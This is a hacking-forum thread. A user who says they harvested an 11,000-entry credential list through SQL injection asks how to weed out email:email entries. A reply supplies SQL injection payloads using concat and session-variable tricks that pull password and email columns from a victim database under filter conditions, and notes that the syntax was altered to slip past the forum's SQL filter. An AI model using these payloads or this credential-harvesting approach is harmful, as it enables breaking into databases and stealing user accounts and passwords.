Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

How do I filter out combos from a list?

I have a 11k combo list I just scraped from an SQLI injection however some of the accounts in the list are just emails in both the email and password sections. Can I filter out these to use the rest of the accounts? There's a solid 8k with 3k email:email (instead of email:password)combos littered throughout so it'd be really nice if you guys had any idea of what to do.
If you want to filter out rows with empty emails use
PHP Code

<?php 
con
**cat(@c:=0x00,if((select count(*) from your_table where email is not null and @c:=con**cat(@c,0x3c6c693e,paasword,0x203a3a20,email)),0x00,0x00),@c) 

If you want to filter out rows where emails and passwords are the same use:
PHP Code

<?php 
con
**cat(@c:=0x00,if((select count(*) from your_table where not (email = password) and @c:=con**cat(@c,0x3c6c693e,password,0x203a3a20,email)),0x00,0x00),@c) 

If you want just quick feed back (number) of possible rows you get back using your condition (without showing data for passwords and emails) use:
PHP Code

<?php 
con
**cat(0x636f756e743a20,(select count(*) from your_table where email is not null)) 
or
PHP Code

<?php 
con
**cat(0x636f756e743a20,(select count(*) from your_table where not(email=password))) 

P.S:
Remove from syntax. I added it to avoid HF block on some SQL commands...
Janus - SQLi challenges for advanced injectors


Possibly Related Threads...
Thread / Author Replies Views Last Post
by SophoclitoJan 6, 2020 02:49 AM 2 131 Jan 6, 2020 02:49 AM
Last Post: eo420
by ttmyselfJan 20, 2018 11:26 PM 0 291 Jan 20, 2018 11:26 PM
Last Post: ttmyself
by NyctosAug 3, 2017 11:54 PM 3 221 Aug 3, 2017 11:54 PM
Last Post: sdk